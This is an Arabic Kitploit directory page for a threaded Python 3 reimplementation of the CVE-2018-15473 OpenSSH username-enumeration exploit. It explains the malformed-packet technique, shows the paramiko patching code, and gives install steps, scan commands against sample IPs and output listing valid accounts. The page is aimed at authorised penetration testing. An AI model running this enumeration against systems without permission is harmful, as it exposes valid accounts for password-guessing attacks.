Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Threaded-CVE-2018-15473 — إعادة تنفيذ بلغة Python 3 للاستغلال الكلاسيكي CVE-2018-15473 الخاص بتعداد مستخدمي OpenSSH، مع توسيعه ليشمل تعدد الخيوط، ودعم قوائم الكلمات، والكشف التلقائي عن الثغرات، وترقيع الاستغلال الآمن للخيوط. | Kitploit
أدوات/GitHubGitHub/k3rn3l-32/threaded-cve-2018-15473
الاستطلاعتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتاختبار الاختراقالتعلم والتعليم
GitHubk3rn3l-32/threaded-cve-2018-15473

Threaded-CVE-2018-15473

إعادة تنفيذ بلغة Python 3 للاستغلال الكلاسيكي CVE-2018-15473 الخاص بتعداد مستخدمي OpenSSH، مع توسيعه ليشمل تعدد الخيوط، ودعم قوائم الكلمات، والكشف التلقائي عن الثغرات، وترقيع الاستغلال الآمن للخيوط.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
2منذ 5 أشهرلم تتم المراجعة بعد

CVE-2018-15473 — أداة تعداد أسماء مستخدمي SSH

إعادة تنفيذ بلغة Python 3 للاستغلال الكلاسيكي CVE-2018-15473 لتعداد مستخدمي OpenSSH، مع إضافة تعدد الخيوط، ودعم قوائم الكلمات، والكشف التلقائي عن الثغرات، وتصحيح آمن للخيوط.


جدول المحتويات

  • حول الثغرة
  • كيف يعمل الاستغلال
  • الميزات
  • المتطلبات
  • التثبيت
  • الاستخدام
  • أمثلة
  • الاعتمادات والبحث الأصلي
  • إخلاء المسؤولية

حول الثغرة

CVE-2018-15473 هي ثغرة تعداد مستخدمين تؤثر على إصدارات OpenSSH من 2.3 حتى 7.7.

تنشأ الثغرة من اختلاف دقيق في طريقة استجابة خادم OpenSSH لمحاولات المصادقة لأسماء المستخدمين الصالحة مقابل غير الصالحة. من خلال صياغة حزمة مصادقة بمفتاح عام مشوّهة، يمكن للمهاجم ملاحظة سلوك الخادم وتحديد ما إذا كان اسم المستخدم المعطى موجوداً على النظام — دون الحاجة إلى معرفة كلمة مرور المستخدم.

يمكن أن تكون هذه المعلومات خطوة أولى حاسمة في هجوم تخمين كلمات المرور الموجّه أو حشو الاعتمادات.

التفاصيلالقيمة
معرّف CVECVE-2018-15473
الإصدارات المتأثرةOpenSSH 2.3 – 7.7
درجة CVSS5.3 (متوسطة)
النوعكشف المعلومات / تعداد المستخدمين
المصادقة المطلوبةلا

كيف يعمل الاستغلال

يعمل تدفق مصادقة OpenSSH عادةً على النحو التالي:

root@kitploit:~
Client → MSG_SERVICE_REQUEST  → Server
Client ← MSG_SERVICE_ACCEPT   ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server

يستغل هذا الاستغلال مرحلة MSG_SERVICE_ACCEPT. عندما يرسل الخادم رسالة MSG_SERVICE_ACCEPT، يُفترض أن يضيف العميل حقلاً منطقياً (boolean) إلى حزمة MSG_USERAUTH_REQUEST اللاحقة. من خلال تعديل طريقة Message.add_boolean في paramiko لتصبح بلا تأثير (no-op)، ترسل الأداة حزمة مصادقة مشوّهة/مبتورة.

ثم يتصرف خادم OpenSSH بشكل مختلف اعتماداً على ما إذا كان اسم المستخدم موجوداً:

  • اسم مستخدم غير صالح ← يرفض الخادم فوراً برسالة MSG_USERAUTH_FAILURE (اسم المستخدم غير موجود، فلا داعي للتحقق من المفتاح)
  • اسم مستخدم صالح ← يرفع الخادم استثناء AuthenticationException (حاول التحقق من المفتاح، مما يؤكد وجود المستخدم)

تلتقط هذه الأداة هذين الردّين عبر معالجات paramiko المعدّلة (_parse_userauth_failure و _parse_service_accept) وتصنّف كل اسم مستخدم وفقاً لذلك.

إصلاح سلامة الخيوط

يقوم إثبات المفهوم الأصلي بتعديل add_boolean بشكل دائم، مما يسبب حالة سباق (race condition) عند تشغيل خيوط متعددة في وقت واحد — تتداخل الخيوط في عمليات المصافحة الخاصة ببعضها، منتجة أخطاء SSH negotiation failed خاطئة. تقوم إعادة التنفيذ هذه بتغليف التعديل داخل threading.Lock()، مما يجعل التبديل ذرياً (atomic):

root@kitploit:~
with _patch_lock:
    real_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = _add_boolean_noop
    try:
        result = original_service_accept(auth_handler, m)
    finally:
        paramiko.message.Message.add_boolean = real_add_boolean

الميزات

  • فحص اسم مستخدم واحد — وضع سريع لمرة واحدة
  • وضع قائمة الكلمات — تعداد قائمة كاملة من أسماء المستخدمين
  • متعدد الخيوط — عدد خيوط قابل للضبط، مع سلامة تامة للخيوط
  • كشف تلقائي للثغرات — يستخدم nmap للتحقق من أن الهدف يشغّل إصدار OpenSSH معرّضاً للثغرة قبل الفحص
  • إزالة التكرارات — يزيل أسماء المستخدمين المكررة من قوائم الكلمات تلقائياً
  • مخرجات نظيفة — نتائج ملوّنة مع تقرير ملخص

المتطلبات

  • Python 3.8+
  • paramiko
  • python-nmap
  • nmap (ثنائي النظام، يجب أن يكون مثبتاً)

التثبيت

root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473

# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate

# Install dependencies
pip install paramiko python-nmap

تأكد من تثبيت nmap على نظامك:

root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap

الاستخدام

root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target

positional arguments:
  target                Target IP address

options:
  -h, --help            show this help message and exit
  -p, --port PORT       SSH port (default: 22)
  -t, --threads THREADS Threads for wordlist mode (default: 3)
  -u USERNAME           Single username to check
  -U WORDLIST           Path to wordlist file

أمثلة

فحص اسم مستخدم واحد:

root@kitploit:~
python main.py 192.168.1.10 -u root

تعداد قائمة كلمات بالخيوط الافتراضية:

root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt

تعداد بعدد خيوط ومنفذ مخصصين:

root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222

مثال على المخرجات:

root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473

[*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target   : 192.168.56.109:22
[*] Threads  : 10

  [+] root     <- VALID
  [+] service  <- VALID
  [-] guest
  [-] admin
  ...

─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked  : 12 usernames
[*] Threads  : 10

[+] Valid    (2)  : ['root', 'service']
[-] Invalid  (8)
[!] Errors   (2)  : ['postgres', 'temp']

الاعتمادات والبحث الأصلي

هذه الأداة هي إعادة تنفيذ وتوسيع بلغة Python 3 لاستغلال إثبات المفهوم الأصلي. يعود الفضل الكامل في اكتشاف وتوثيق هذه الثغرة إلى الباحثين الأصليين:

الدور

الاستغلال الأصلي: https://leapsecurity.io

تضيف إعادة التنفيذ هذه:

  • التوافق مع Python 3 (الأصل كان Python 2)
  • تصحيح آمن للخيوط في الاستغلال (إصلاح حالة السباق)
  • وضع قائمة الكلمات مع تعدد الخيوط
  • كشف تلقائي للثغرات عبر nmap
  • إبلاغ منظم بالنتائج

إخلاء المسؤولية

هذه الأداة مخصصة لأغراض تعليمية واختبار الاختراق المصرح به فقط.
استخدام هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها هو أمر غير قانوني وغير أخلاقي.
لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذا البرنامج.
التزم دائماً بالإفصاح المسؤول.

تنزيل الأداة
الاسم / المعرف
مؤلف إثبات المفهوم الأصليLeap Security (@LeapSecurity)
أبحاث الثغرةMatthew Daley
أبحاث الثغرةJustin Gardner
أبحاث الثغرةLee David Painter